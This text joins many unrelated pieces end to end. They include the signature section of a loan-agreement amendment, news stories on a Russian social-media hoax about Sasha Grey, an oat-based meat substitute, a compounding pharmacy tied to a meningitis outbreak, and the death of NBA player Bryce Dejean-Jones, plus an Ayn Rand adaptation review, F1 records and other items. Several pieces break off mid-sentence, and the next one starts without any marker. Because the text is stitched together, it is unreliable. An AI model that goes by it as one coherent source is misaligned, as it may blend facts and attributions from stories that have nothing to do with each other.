“(b) Unless Borrower has achieved the Second Advance Prepayment Condition on or before the date specified therein, on October 14, 2016, Borrower shall prepay an amount equal to $10,000,000 of the Term Loan principal balance and all unpaid fees and expenses accrued to such date (the “ Second Advance Prepayment ”); provided, however, that if prior to October 14, 2016, Borrower issues a public announcement of EPIC Phase 3 results which do not satisfy the Second Advance Prepayment Condition, Borrower shall make the Second Advance Prepayment promptly, but in any case, within three (3) Business Days of such announcement. Notwithstanding anything to the contrary herein, Borrower shall not be required to pay any Prepayment Charge in connection with the Second Advance Prepayment pursuant to this Section 2.4(b). Borrower’s failure to make the Second Advance Prepayment required under this Section 2.4(b) shall constitute an Event of Default under Section 9.1.”
SECTION 3. Condition to this Amendment. This Amendment shall become effective only if Borrower shall have delivered to Agent, as of the date hereof, an additional facility charge payment of $75,000.
SECTION 4. Effect on Loan Documents. Except as specifically amended herein, all Loan Documents shall continue to be in full force and effect and are ratified and confirmed in all respects. The execution, delivery and effectiveness of this Amendment shall not operate as a waiver of any right, power or remedy of any Lender or Agent under any of the Loan Documents, and it shall not constitute a waiver of any provision of the Loan Documents. Any reference to the Loan Agreement in any other Loan Document shall be a reference to the Loan Agreement as amended by this Amendment.
2
SECTION 5. Representations and Warranties. Borrower represents and warrants to Agent and Lender as follows:
(a) Borrower’s execution, delivery and performance of this Amendment, (i) has been duly authorized by all necessary corporate action of Borrower, (ii) will not result in the creation or imposition of any Lien upon the Collateral or the Intellectual Property, other than Permitted Liens and the Liens created by the Loan Documents, (iii) does not violate any provisions of Borrower’s Certificate of Incorporation, bylaws, or any law, regulation, order, injunction, judgment, decree or writ to which Borrower is subject, and (iv) does not violate any contract or agreement or require the consent or approval of any other Person which has not already been obtained. The individual or individuals executing this Amendment are duly authorized to do so.
(b) All of Borrower’s representations and warranties contained in the Agreement and all schedules related thereto are correct in all material respects on and as of the date hereof as though made on and as of such date, except to the extent that such representations and warranties relate solely to an earlier date.
(c) No event has occurred and is continuing or will result from the consummation of the transactions contemplated by this Amendment that would constitute a default or an Event of Default.
(d) This Amendment has been duly executed and delivered on Borrower’s behalf by its duly authorized officer, and constitutes Borrower’s legal, valid and binding obligations, enforceable in accordance with its terms, subject to bankruptcy, reorganization, insolvency, moratorium and other similar laws affecting the enforcement of creditors’ rights generally and the exercise of judicial discretion in accordance with general principles of equity.
SECTION 6. Governing Law. This Amendment shall be governed by, and construed in accordance with, the law of the State of California.
SECTION 7. Counterparts. This Amendment may be executed in one or more counterparts, each of which shall be deemed an original, but all of which together shall constitute one and the same instrument. Delivery by facsimile,.pdf or other electronic imaging means of an executed counterpart of a signature page to this Amendment shall be effective as delivery of an original executed counterpart of this Amendment. Agent may also require that any such documents and signatures delivered by facsimile,.pdf or other electronic imaging means be confirmed by a manually signed original thereof; provided that the failure to request or deliver the same shall not limit the effectiveness of any document or signature delivered by facsimile,.pdf or other electronic imaging means.
[ Remainder of page intentionally blank ]
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IN WITNESS WHEREOF, the parties hereto have caused this Amendment to be duly executed and delivered by their respective proper and duly authorized officers as of the day and year first above written.
BORROWER: MAST THERAPEUTICS, INC. By: /s/ Brandi Roberts Name: Brandi Roberts Title: Chief Financial Officer AGENT: HERCULES CAPITAL, INC. By: /s/ Jennifer Choe Name: Jennifer Choe Title: Assistant General Counsel LENDER: HERCULES TECHNOLOGY III, L.P. By: Hercules Technology SBIC Management, LLC, its General Partner By: Hercules Capital, Inc., its Manager By: /s/ Jennifer Choe Name: Jennifer Choe Title: Assistant General Counsel
[SIGNATURE PAGE TO FOURTH AMENDMENT TO LOAN AND SECURITY AGREEMENT]Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Feb. 19, 2015, 9:03 AM GMT / Updated Feb. 19, 2015, 9:13 AM GMT
Former American porn star Sasha Grey ditched her acting career and worked as a nurse for pro-Russian rebels fighting in eastern Ukraine until she was brutally murdered by Ukrainian government forces.
That, at least, is according to an anti-Kiev propaganda campaign featuring a photo of Grey that has appeared on Russian social media networks, including Odnoklassniki, a social media site popular among people over the age of 30.
The Moscow Times explains:
“The story says that a nurse named ‘Sasha Serova’ was captured by Ukrainian military forces, who then filmed themselves ‘humiliating’ her before chopping her body up with an axe. Notably, the last name ‘Serova’ is similar to the Russian word for ‘gray.’”
Grey, who is very much alive and not taking part in the Ukrainian conflict, which has claimed the lives of more than 5,600 people since it began in April 2014, is not at all comfortable with her latest role.
On Wednesday, she tweeted: "I <3 my Russian fans, but this propaganda takes it too far. News that I was a NURSE killed in the Russian/Ukraine conflict."
Grey, who caused a buzz on Twitter after expressing support for pro-European protesters in Kiev in December 2013, added this:
But who's responsible for dragging Grey into the propaganda war?
It’s well known that Moscow has been waging an aggressive disinformation campaign to shore up domestic and international support for its annexation of Crimea, and its backing of pro-Russian fighters in eastern Ukraine.
To that end it has recruited an online troll army to push its version of events by posting pro-Moscow, anti-Kiev stories — many of them totally fake — on websites, as well as by bombarding social media networks and news sites with pro-Russian comments.
Russia also uses state-run media outlets and public relations firms to boost its image at home and overseas.
But has Moscow really decided to start recruiting ex-porn stars to sell its message to the Russian people and the West?
Probably not, according to GlobalVoices writer Kevin Rothrock.
Rothrock says Grey has actually been caught up in an anti-propaganda campaign:
“Last week, users of the image-board 2ch.hk launched a campaign to test Russians’ gullibility about information concerning the ‘fallen heroes’ of the Donbas separatists …”“The plan was simple: choose a famous public person — a politician, an actor, an infamous criminal — and claim they either died fighting for the separatists in Ukraine, or attribute to them a strongly pro-Russian statement.”
Grey has featured in the gullibility test along with Josef Mengele, an infamous German physician in the Auschwitz concentration camp. According to Rothrock, 2ch.hk gave Mengele a new identity, field surgeon "Yegor Mangelov," and said he was "tortured and executed by the Ukrainian forces."
Incredibly, some web users fell for the ruse.
This story originally appeared at GlobalPost.
More From GlobalPostHELSINKI (Reuters) - Nordic oats and broad beans are the main ingredients for a new plant-based product that looks like pulled pork and tastes a bit like chicken which a Finnish start-up company hopes will soon be tempting consumers’ growing appetite for meat substitutes.
Pulled oats product, made of Nordic oats and beans, is served fried on a plate in Helsinki, Finland, January 21, 2016. REUTERS/Attila Cser
Maija Itkonen and Reetta Kivela, founders of the Finnish food technology start-up Gold & Green Foods, call the product “pulled oats”.
“The oats are sheared and heated under the right conditions and combined with the beans. The amino acids that are lacking in oats are in the beans, so they are a good combination,” said Kivela, a food scientist, at a lunchtime tasting session in a local restaurant in Helsinki.
“We have patented our production method that allows us to produce the fibrous texture of oats and beans” she said.
The company now aims to have products in stores in Finland and Sweden by the end of the year.
“We want to first prove our point in our home market and then look for licensing opportunities for further expansion,” Itkonen said.
Consumers have already embraced protein-packed meat substitutes made from wheat, soy and other beans, while newer companies are pushing boundaries with products based on fungi and insects in a global market worth $1.8 billion last year and projected to be worth $2.2 billion by 2020, according to Euromonitor International.
The two leading players, which each have about 13 percent of the market, are Kellogg, which owns the U.S. brands Morningstar Farms and Gardenburger, and Monde Nissin Corp from the Philippines, which last year bought British firm Quorn Foods for 700 million euros ($763 million).
Behind them are Nestle, Pinnacle Foods and Hain Celestial Group.
Itkonen and Kivela, both in their thirties, only started Gold & Green in April last year as a result of Kivela’s research on oats at the University of Helsinki.
Industrial designer Itkonen, who is chief executive, brings her entrepreneurial skills to the venture, having founded wireless phone charger company Powerkiss in 2008 which was acquired in 2013 by Powermat Technologies.
Gold & Green says its product stands out from soy-based foods because it is a non-GMO and potentially gluten-free alternative and unlike the mycoprotein meat substitute Quorn, the oat-based product is also non-allergenic.
Nutrionist Heli Reinivuo from Finland’s National Institute for Health and Welfare said the product promised to be a healthy alternative to meat.
“It has good quality protein and high protein content. It also contains fibre called beta-glucan... I believe we could recommend the product to consumers once it’s on the market,” she said.
Gold & Green raised 300,000 euros last year and Itkonen said the company is now looking for a larger sum from its second funding round to set up and start production.
“It looks like a product that could strike a chord with the big trend of ecological consumption. In the western world, innovations in this sphere have a good chance of succeeding,” said Niclas Catani, an equity analyst at OP Financial Group.
Finnish food technology start-up Gold & Green founders Maija Itkonen (L) and Reetta Kivela pose for a picture in Helsinki, Finland, January 21, 2016. REUTERS/Attila Cser
“It will hardly bring a revolution overnight but the start-up can nevertheless make good money out of it.”
($1 = 0.9177 euros)
(This version of the story adds the dropped word “Foods” in name of company in second paragraph.)The Couch Potato's Sofa Workout (Infographic)
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Nobody likes to think of themselves as lazy. But let's face it, sometimes the sofa is a hell of a lot more appealing than the gym. So why not bring the gym to the sofa instead?
Our Couch Potato's Sofa Workout contains 10 simple exercises you can complete in 30 minutes or less, for a full-body workout. This is no gimmick routine either - these are proper gym exercises translated from the workout bench to the sofa.
So put down that remote and packet of crisps for a second and give it a go - even if it's just during that lame toothpaste commercial you've seen 100 times...
All graphics and illustrations by Hannah Collier
Survive all 10 exercises? Fall off the sofa and make a fool of yourself? Either way, let us know in the comments below, or get in touch via Twitter!
Embed Our Sofa Workout Infographic on Your Site! Simply Copy and Paste the Code Below:
<img src="https://www.sofasofa.co.uk/wp/wp-content/uploads/2015/04/sofaSofaInfographic-08-04-15-BWO.png" width="870"> <p>Sofa Workout Infographic from SofaSofa <a href="https://www.sofasofa.co.uk/blog/sofa-workout-infographic/">SofaSofa</a></p>
Posted in Infographics, Sofas, Uncategorized on 2nd Apr 2015There can often be a bidding war that can put young buyers at a disadvantage.
Meet the endangered species of the downtown Boston real estate market: The millennial buyer.
Soaring prices and cutthroat competition for a scarce number of listings has forced many young buyers out of Boston, while a ‘lucky’ few have had to shell out astronomical sums for ever-smaller digs, brokers say.
Coinciding with a larger national trend, Boston’s real estate market has become increasingly unfriendly to young, first-time buyers.
Overall, the percentage of first-time buyers plunged five percent over the last year to 33 percent, the lowest level since 1987, The National Association of Realtors reports. That decline comes as millennials struggle with record levels of student debt and a jobless rate in the double-digits.
Millennials face an uphill battle trying to land a place in Boston, where the average downtown condo price scrapes the million-dollar range and the median hovers around $600,000.
“Millennials are in a position frankly, where they’re getting priced out of the market,’’ said Neda Vander Stoep, an agent in Coldwell Banker Residential Brokerage’s Newbury Street office.
Just take investment analyst Michael Comer and his wife, Maria Milcetic, a doctor. Both in their early 30s, the couple spent five grueling months on the hunt before they finally landed a tiny two-bedroom in the South End, shelling out well over $600,000 – $150,000 more than they had originally budgeted.
Along the way, they toured dozens of condos in the South End and other downtown neighborhoods, going to open houses so packed with buyers that it was standing room only, wondering whether they’d ever find anything.
Particularly frustrating were bait-and-switch tactics some sellers used, Comer recalled. “Stuff would come on the market that seems reasonably priced, but they would put it on the market for an artificially low price to get the bidding war going,’’ he noted.
Still, Comer and Milcetic count themselves lucky as they see a number of their friends searching for more affordable homes and condos deep in the suburbs or deciding to end their search and instead stick with renting.
For those buyers who decide to tough it out, there’s not a lot to choose from. Condos on the market, especially in the starter $400,000 to $600,000 range millennials tend to compete for, are often not what buyers are looking for, notes Rich Hornblower of Coldwell Banker’s Newbury Street office.
Frequently, there’s a big gap in expectations between what first-time buyers imagine they can buy for half a million, and what they can actually get for that kind of money. “There are still a lot of people who want to buy – they just can’t get what they want downtown,’’ Hornblower said. “There are really no options in Boston under $300,000 at this point.’’
When Comer and Milcetic finally zeroed in on the condo they now own, an 800-square foot two bedroom in an 19th century, brownstone, they decided not to take any chances. They wrote a letter to the seller and, to sweeten the deal, gave the owners two months to move out after the sale.
“Frankly, the only way to get a place these days if is you bend over backwards for the seller, because they have all the power now,’’ Comer contends.BOSTON (Reuters) - The pharmacy tied to a deadly U.S. meningitis outbreak escaped harsh punishment from health regulators several times in the years leading up to the health crisis that has raised questions about oversight of the customized drug mixing industry, newly released state records show.
Pharmaceutical compounding company New England Compounding Center (NECC), a producer of the steroid methylprednisolone acetate, is seen in Framingham, Massachusetts October 8, 2012. REUTERS/Jessica Rinaldi
Problems at the New England Compounding Center (NECC) in Framingham, Massachusetts, date as far back as 1999, the year after it began operations, according to hundreds of pages of documents obtained under a Freedom of Information Act request.
And the documents show regulators refraining from the harshest sanctions available to them, even as the list of complaints against NECC continued to grow.
The documents come to light after 23 people have died and close to 300 have become ill with fungal meningitis linked to steroid shots from NECC given to thousands of patients across the country. A top medical expert says the outbreak is not over and there will be more cases in the coming weeks.
Among the reported problems was a company official handing out blank prescriptions. And an outside evaluation firm found inadequate documentation and inadequate process controls involving sterilization at NECC in 2006, the documents show.
“Although your facility has seen significant upgrades in facility design for the sterile compounding operation, there were numerous significant gaps identified during the assessment,” according to a 2006 letter to NECC from Pharmacy Support Inc, an outside evaluation firm.
Summing up the violations and concerns, one state inspector in 2004 recommended the company be given a formal reprimand, a sanction that would be made public and potentially hurt business.
The complaints hinted at bigger problems emerging at NECC as it grew from a tiny family business owned by chief pharmacist Barry Cadden and his brother-in-law, Gregory Conigliaro, into a company selling products in bulk to hospitals and clinics in nearly 50 states.
“New England Compounding Center worked cooperatively with the Massachusetts Board of Registration in Pharmacy to resolve to the Board’s satisfaction any issues brought to the company’s attention,” NECC said in a statement on Monday.
NECC’s improvements drew praise from George Cayer, president of the pharmacy board at the time.
“The board commends NECC on the progress to date,” Cayer said in an April 12, 2006 letter. Cayer is currently a member of the pharmacy board.
Asked about the documents’ content on Monday evening, the Massachusetts Executive Office of Health and Human Services said it is investigating the 2006 settlement.
“As part of our active investigation into NECC, we are looking at the events surrounding the signing of the consent agreement,” Alec Loftus, a spokesman for the department said. “This consent agreement was signed under the previous administration and it is troubling to say the least.”
HISTORY OF COMPLAINTS
The pharmacy board initially proposed sanctioning NECC in 2004 with three years of probation and a public reprimand amid allegations that the pharmacy violated accepted standards for compounding methylprednisolone acetate, the same steroid that is linked to the current fungal meningitis outbreak.
But two years later, the board agreed to a nondisciplinary settlement. It also agreed not to report the agreement to the National Association of State Boards of Pharmacy or other outside agencies. NECC’s lawyer had pleaded with the board not to issue a public reprimand because it could put the company out of business.
In 2004, pharmacists in Iowa and Wisconsin complained to the board that NECC and its chief pharmacist, Barry Cadden, were soliciting out-of-state prescriptions for office use and using a form unapproved by the Massachusetts Department of Public Health.
That same year, the board issued another advisory letter to NECC noting that it had received a complaint from a “concerned Texas pharmacist about products being solicited by Barry Cadden.” An investigation revealed that NECC was offering an eye treatment and improperly included promotional material and terminology in the advertisements.
Pharmacies such as NECC are typically allowed only to compound drugs based on a specific prescription written by a physician for an individual patient. They are not generally allowed to solicit business or to promote products that have not been requested by physicians.A Letter From Terry Kidwell To Snowboarding
Just received this short message below from Terry Kidwell. For those who don’t know TK he is widely regarded as “The Father Of Freestyle Snowboarding” and for good reason. Not only did Terry bring the first signature models and kicktail board to the masses he also was the first to translate handplants, mcTwists, fakie tricks and flatground from the skate to the snow. Looks as though Terry hasn’t lost his drive to keep teaching or his stoke to keep shredding.
"Hey,
I just wanted to let you know how stoked I am on the snowboard scene. I have been riding for many years, but at the same time I became disconnected with the industry and scene. I just finished a tour that has taken me to the SIA and ISPO trade shows in Denver and Munich. It is so great to reconnect with old friends and meet many new ones. So cool to see so many young riders stoked for all the right reasons. Rails, parks, just taking runs all day, powder....it's so great to see all the diversity and stoke in every aspect. Today's new generation of riders seem to have a new energy and that fires me up!
Riding is one of my biggest passions in life and hitting these trade shows has not only been fun to see the faces, but it has driven me even more to get out and ride. I hope everyone in the industry has as much stoke as I do for snowboarding. When I saw the display of old boards at the Skullcandy booth and realized how the history is important to a lot of people, I knew I had made the right decision to go to the shows. Keep riding and you won't ever lose the stoke. It's easy to say, especially when you're in your early 20s. Now that I'm in my mid 40s, I have had to make sure I get out there and ride as much as I can. The past few years have opened my eyes to what I missed when I took riding for granted and didn't force myself to go. I will never make that mistake again. Riding, even at my age now, is more fun than it ever was! Life takes you down interesting roads and snowboarding is by far the most interesting thing I have experienced. It's been more than 30 years of riding for me, here's to another 50!" -Terry KidwellWoman who harassed a Muslim customer in line at Reston, VA Trader Joe's (Screen capture)
On Sunday, freelance journalist and contributor to Mother Jones, the Daily Beast and New York magazine Yashar Ali posted a disturbing video captured by a Muslim woman who was cruelly harassed by a blonde woman in line at a Trader Joe’s store in Reston, VA.
“Muslim woman harassed while standing in line at a #TraderJoes in Reston, Virginia. If you know the harasser, please DM me.,” Ali wrote.
As the video begins, the confrontation is already underway. A blonde woman in jeans and a gray cardigan sweater accused the Muslim woman of “playing dumb” and said, “I’ve got it.”
“I shouldn’t have let you in front of me,” said the woman filming.
“I wish they didn’t let you in the country,” snapped the harasser.
“Excuse me? I was born here,” replied the Muslim woman.
“Oh, you were?” the blonde woman said. “Obama’s not in office anymore. We don’t have a Muslim in there anymore. He’s gone, he’s gone. He may be in jail, too.”
“You look a little crazy,” the woman filming said. “Maybe you need to get some help.”
“Oh, I’m fine,” the other woman replied as the woman filming explained that it’s not normal to strike up hateful conversations with strangers in line at the grocery store.
This is another instance of a Trump-supporter caught on video being aggressively rude and confrontational with a Muslim person or a person of color. Last November a woman was filmed going on a racist tirade in a Michael’s craft shop. In Atlanta, a Muslim woman was harassed by a Columbus, GA man named Robert Koehler.
Hate crimes and acts of violence against Americans of color and immigrants have spiked since the election of Donald Trump, including the murder of an Indian engineer in Olathe, KS.
Watch the video, embedded below:The 2014 Chicago Fringe Performers and Participants Are Chosen Randomly At This Annual Event Which Includes Live Music, Food and Drink Specials
CHICAGO – The Chicago Fringe Festival, August 28 – September 7, is proud to announce the 5th Annual Lottery Party, Saturday, March 1, doors open at 1 p.m., at Fischman Liquors and Tavern, 4780 N. Milwaukee Ave. The Lottery Party is the gathering where individuals and organizations learn if they will participate in the 2014 Fringe Festival. The Lottery Party is free and open to the public. The random drawing of participants includes live music, food and drink specials from Fischman Liquors and Tavern. The party is broadcast live for possible applicants who cannot attend to watch the drawing via http://www.ustream.tv/channel/chicago-fringe-festival-lottery-2014.
The Chicago Fringe Festival 2014 returns to Jefferson Park after its fourth presenting year and its first year in the new location of Jefferson Park. Attendance was up over the previous two years with 3887 attendees. The Festival had more than 25 sold out performances and the number of Fringe Festival passes was at an all time high. Fringe artists and performers receive 100% of the ticket sales generated by their appearance and in 2013, more than $28,000 was returned to artists. The Chicago Fringe Festival is a member of the Fringe Festival movement and is one of many festivals held throughout the world. The Chicago Fringe Festival unites daring theatergoers with emerging and boundary-pushing local, national and international performing artists while seeking to engage nontraditional audiences through a commitment to low ticket prices and outreach into artistically underserved communities.
ABOUT CHICAGO FRINGE FESTIVAL
The annual Chicago Fringe Festival, now in its fifth year, presents performances over the course of 11 days in late summer. The Chicago Fringe Festival is a member of the Fringe Festival movement and is one of many festivals held throughout the world. The Chicago Fringe Festival unites daring theatergoers with emerging and boundary-pushing local, national and international performing artists while seeking to engage nontraditional audiences through a commitment to low ticket prices and outreach into artistically underserved communities.
# # #It's been a good year to be an R.E.M. completist, what with that rarities collection and the impending DVD box set. Here's more good news: On December 9, Capitol/I.R.S. will release a 7" box set featuring the band's singles on I.R.S. released between 1983 and 1988.
The singles all come with replicas of their original picture sleeves. Two of them were previously UK release that are getting their first-ever U.S. release: "Finest Worksong" backed by a live version of "Time After Time" and a double single featuring "Wendell Gee", "Crazy", "Ages of You", and "Burning Down".
7IN - 83-88:
“Radio Free Europe” / “There She Goes Again”
“So. Central Rain (I’m Sorry)” / “King of the Road”
“(Don’t Go Back To) Rockville” / “Catapult” (Live)
“Can’t Get There From Here” / “Bandwagon”
“Driver 8” / “Crazy”
“Wendell G” / “Crazy” + “Ages of You” / “Burning Down” [UK single]
“Fall On Me” / “Rotary Ten”
“Superman” / “White Tornado”
“The One I Love” / “Maps and Legends” (Live)
“It's The End Of The World As We Know It (And I Feel Fine)” / “Last Date”
“Finest Worksong” / “Time After Time” (Live) [UK single]
Here's their "Driver 8" video:This article was written by a member of the community!
Hello Everybody!
You play the Heroes of ShootMania: Storm ( or you would like to ) and you want to play Heroes seriously as much as the Elite game mode? SMHeroes.org are there for you!
Let's introduce ShootMania: Heroes.
On this title that you can add into the ManiaPlanet stations, it's very simple! This game mode is best played 5vs5.
Here it is a picture of the rules:
Then, how could i play or see people that are interresed about this?
The opening of the SMHeroes.org website is made only for you! You will be able, with our community, to share, talk to all the pros into the game mode ( or not )! You would like to play with the entire ManiaPlanet community as well, as you know that the game got much potential? You will maybe be the former of numbers of Heroes teams or, organizer of online or offline tournaments! Join them fast!
Only a few servers are actually available for the gamemode, SMHeroes.org can actually take you with their server:
SMHeroes.org Server ( This server will have all the maps that are in the WiP Official Mappack that you can discuss/send your maps here )
This project starts with a few people in, The SMHeroes.org team hopes that there will be much people in soon. A first tournament should be announced soon. This will be a good opportunity to say "Hey, you are back to the world, Heroes game mode?"
The website is early in developement, that's why there's actually a forum which is not that good-looking.
They are waiting for your support!Derick E. Hingle-USA TODAY Sports
New Orleans Pelicans guard Bryce Dejean-Jones has died at the age of 23, the Dallas County coroner's office confirmed to Travis Hines of the Ames Tribune on Saturday.
Shams Charania of The Vertical reported Dejean-Jones bled to death after suffering a gunshot wound to the abdomen.
Per Sarah Mervosh of the Dallas Morning News, the Dallas Police Department confirmed Dejean-Jones was shot after entering into an apartment complex:
Dejean-Jones' agent Scott Nichols said his client was visiting his girlfriend for his daughter's first birthday, and mistakenly entered the wrong apartment unit, per CNN.com.
"There is no information that suggests the deceased [Bryce] Dejean-Jones knew the apartment resident, or was armed as he entered the apartment," said police spokesman DeMarquis Black, via CNN.
Former Iowa State head coach and current Chicago Bulls coach Fred Hoiberg expressed his sympathies via a school press release:
"We are deeply saddened to learn the tragic news about Bryce. I'm grateful that our paths crossed in this life. Bryce was a passionate and talented player that lived out his dream of playing in the NBA through hard work and perseverance. It's an incredibly sad day for me and all of Iowa State University. Our thoughts and prayers are with Bryce's family."
The Pelicans also released a statement about the death of Dejean-Jones, via their official Twitter account:
"It is with deep sadness that the Pelicans organization acknowledges the sudden passing of Bryce Dejean-Jones. We are devastated at the loss of this young man's life who had such a promising future ahead of him. Our thoughts and prayers are with Bryce's family during this difficult time."
NBA Commissioner Adam Silver provided a statement regarding Dejean-Jones' death:
Marc Spears of ESPN provided the NBPA's statement:
Minnesota Timberwolves star Shabazz Muhammad also expressed his thoughts:
Iowa State point guard Monte Morris tweeted a picture of himself and Dejean-Jones:
Dejean-Jones played college basketball at USC (2010-11), UNLV (2012-14) and Iowa State (2014-15). After going undrafted in 2015, he played for the Pelicans during Las Vegas Summer League and signed a deal with them in August. After going through training camp with New Orleans, the team waived him a few days before the 2015-16 season began.
The NBA Development League's Idaho Stampede acquired Dejean-Jones off waivers in mid-December. He averaged 19.2 points and 5.1 rebounds in nine games with the team throughout December and January.
The Pelicans signed Dejean-Jones to a 10-day contract on Jan. 21. He appeared in 14 games, making 11 starts, and averaged 5.6 points and 3.4 rebounds per contest. A right wrist fracture ended his rookie season in February.
A week prior to undergoing wrist surgery, the Pelicans signed Dejean-Jones to a partially guaranteed three-year contract, per Charania. His best game came against the Los Angeles Lakers on Feb. 4, when he scored 17 points and grabbed nine rebounds in a 99-96 loss.Greg Baldino writes for Bleeding Cool
Author and philosopher Ayn Rand’s never been an easy fit. Her extreme views opposing socialism and “art by committee” sit ill with the left, and conservatives have often had to gloss over her vehement atheism to swallow her “greed is good” rhetoric.
Despite this, she still has fans in both camps; and in comics as well, with both Steve Ditko and Frank Miller expressing an interest in her philosophy of Objectivism.
After the 2008 elections, sales of her books hit a sudden spike, so it’s not entirely surprising that a graphic novel adaptation of her writings would have been in the works.
The writing in question is Anthem, adapted by Charles Santino and Joe Staton, published by New American Library. Anthem is one of her shorter works, originally conceived of as a theatrical play while she was a teenager in Stalinist Russia.
More of an anti-collectivist folktale than an actual novel, it concerns an inhabitant of an anti-utopia where there is no “I” only “We.” The hero, named Equality 7-2521, discovers the remnants of a greater society, and comes to reject his society and leave to form the basis of a new way of living, centered on the word “I.”
Although it’s definitely part of the spectrum of political sci-fi; alongside works like 1984, Fahrenheit 451, and We; it’s not the most detailed and nuanced argument in Rand’s repertoire. The characters are really stock representations in a very exaggerated portrayal. At no point is an understanding of the core civilization given beyond “It’s Bad.” (What’s ironic is that one of the most likely consumers of this adaptation will be public libraries, themselves a form of socialist institution- although not one you’ll find mentioned anywhere in the simplistic world of the novella.) The love interest, Liberty 5-3000, has no real characteristic beyond being pretty and waiting for Equality 7-2521 to give her a direction in life. Although she ultimately follows him as he rejects their society, one wonders if she’s following him because she genuinely believes he’s right or because he’s handsome and she’s seventeen. The book’s conclusion is an uplifiting victory, but only if you accept the idea that everyone in the civilization which Equality upturns shares the same definitions of personal liberty and freedom. Granted, there’s not much room for detail; the original novel was just barely 150 pages.
Which does actually make it ideal for adaptation. While one of her more developed and well known books, such as The Fountainhead or Atlas Shrugged, would have taken either massive volumes or severe abridging to work as a comic, |
to a level deemed unacceptable in court, resulted in a May 7 contempt charge by a Bethlehem judge, the Morning Call reports.
Although Lehigh County’s chief public defender, Kimberly Makoul, argued on his behalf that Dennis’ pants didn’t disrupt court and that the white material spotted above his dropped waistband was gym shorts rather than underwear, District Judge Wayne Maura was not persuaded. He imposed a $50 fine on Dennis on Monday. An appeal is likely, Makoul told the newspaper.
Signs outside and inside Maura’s courtroom warn entrants to “Pull your pants up!” and warn that those with “exposed undergarments” or “excessive exposure of any private body areas” cannot appear in court.
A spokesman for the Administrative Office of Pennsylvania Courts said judges have a duty to maintain order and decorum in their courts and have discretion to exclude individuals from the courtroom based on their choice of dress.
Nonetheless, a senior staff attorney with the American Civil Liberties Union of Pennsylvania expressed concern.
“Courtrooms are open, and any member of the public can go in, and you can’t be disorderly or disruptive,” Mary Catherine Roper told the newspaper. “But, it’s really contrary to the idea of an open courtroom to tell you what you can wear and what your fashion choices can be while in the courtroom.”
Related coverage:
ABAJournal.com: “Judge’s Sign Warns Defendants to Pull Up Their Saggy Pants”
ABAJournal.com: “Ala. Judge’s 3-Day Saggy Pants Sentence Is Talk of Town; Judge, Court Clerk Stunned by Interest”
Al.com: “Prattville man found shot to death was jailed in early 2012 for having saggy pants “
Montgomery Advertiser: “Jury Finds Deramus Guilty In Shooting Death “When Rubens Barrichello hung up his helmet at the end of 2011, having racked up his 326th start in an F1 race, it seemed the record he took away from previous holder Riccardo Patrese would stand for quite some time.
At that time, the Brazilian had a 38 start advantage over former Ferrari teammate Michael Schumacher, who would only go on to start a further 20 Grands Prix in 2012 before being effectively forced into retirement by the arrival of Lewis Hamilton at Mercedes.
Button, meanwhile, was way back on 208 starts, 118 off the top spot and behind not only Patrese, but also Jarno Trulli, David Coulthard and Giancarlo Fisichella as well. He did not appear to be a real threat to the record holder.
Here we are four years later, however - and Button has already moved up to third place, on 279 starts as of the Japanese Grand Prix last weekend and on course to hit 284 by the end of the year.
With 21 races on next year's schedule, Button - assuming he starts them all - is on course to fall just three shy of Schumacher's final tally of 308 at the final race, at which point his McLaren deal expires.
But, with the Brit expressing a strong desire to remain on board for the big rule changes set to transform the look and feel of Grand Prix cars in 2017, it could - depending on the size of the calendar - only take one more full season for him to match Barrichello.
He would do so at the 21st race of the 2017 season, and were the schedule expanded to 22 events, he would go one better than the Brazilian at the final race.
All-time Grand Prix starts:
Pos. Driver Career span Starts 1 Rubens Barrichello 1993-2011 326 2 Michael Schumacher 1991-2012 308 3 Jenson Button 2000- 279 4 Riccardo Patrese 1977-1993 256 5 Jarno Trulli 1997-2011 252 6 Fernando Alonso 2001- 248 7 David Coulthard 1994-2008 246 8 Giancarlo Fisichella 1996-2009 229 9 Kimi Raikkonen 2001- 226 10 Felipe Massa 2002- 224
So, if Button sticks around in 2017 and doesn't end up missing any races, he potentially has just over two years to wait to match the most experienced F1 driver in history.
But how long will he hold that mantle for? With his current McLaren teammate Fernando Alonso lurking just 31 starts further down the table, it's possible Button's reign could prove short-lived.
In essence, Alonso has to outlast Button by two seasons to take the top spot, which means if Button bows out at the end of the 2017 campaign, Alonso must stick around until 2019, by which time he will be 38 years old.
A far from unimaginable scenario, given Barrichello was 39 in his final season, and Schumacher 43.
What about Hamilton and Vettel?
Looking further into the future, Raikkonen and Massa, both in the twilight of their careers, are unlikely to pose much of a threat to the top spots, currently sitting ninth and 10th in the all-time list on 226 and 224 starts respectively. Nico Rosberg, meanwhile, is 20th on 180 starts.
A little further down the list, we find Lewis Hamilton (27th, 162 starts) and Sebastian Vettel (34th, 153 starts), both of whom have the potential to enjoy very lengthy careers in F1 if they so choose.
Assuming an average of 20 races per season, it would take Hamilton another eight full seasons at the highest level to match Barrichello - and perhaps another one or two to be sure of surpassing Button and Alonso.
That would imply Hamilton remaining in F1 until at least 2023 - by which time he will be 38 years old. Again, this would be far from outlandish, considering the age of recent retirees.
Vettel, meanwhile, at nine starts behind Hamilton, would need another half a season to move ahead. By the end of 2024, he'll be 37, the same age Button will have to be still racing at to be in with a chance of overhauling Barrichello.
Once Hamilton and Vettel depart the stage, then the long wait for Max Verstappen to beat the whole lot of them begins...The two British climbers who frozen to death on the Matterhorn may have been trying a second attempt to summit the peak when a massive storm trapped them on a perilous, narrow snowfield in the dead of night.
Based on information from other climbers who encountered the pair on the southwest ridge of the 4,478-metre mountain, rescuers believe the two men had tried and failed to summit the day before and were trying a second time, but turned back too late.
When a helicopter rescue was finally possible 36 hours later, Finance Police Rescue Marshall Massimiliano Giovannini found Peter Rumble and Dennis Robinson buried under a snowdrift, unresponsive and lying on top of one another. Italian authorities said the two men, both age 67, were close friends and resided in France.
Desperate call
They had driven a camper to Cervinia, where Mr. Robinson’s companion was waiting anxiously as the two climbed.
Their first desperate call for help came in around 22:30 Thursday night. They were near a high steep corner fixed with chains, called the Grande Corde.
The steep, sloping slabs of exposed rock just below the 4241-metre Pic Tyndall minor summit are a particularly dangerous segment, especially in ice and snow.
“They had called 112 saying they were in a terrible storm, were very cold, completely in the dark and unable to descend further,” Marshall Giovannini told the Telegraph.
When they called back again 30 minutes later they were on a small snowfield with bad visibility and sheer drop-offs on either side. Both had crampons, but neither man had winter gear and they were wearing only light pants and windbreakers.
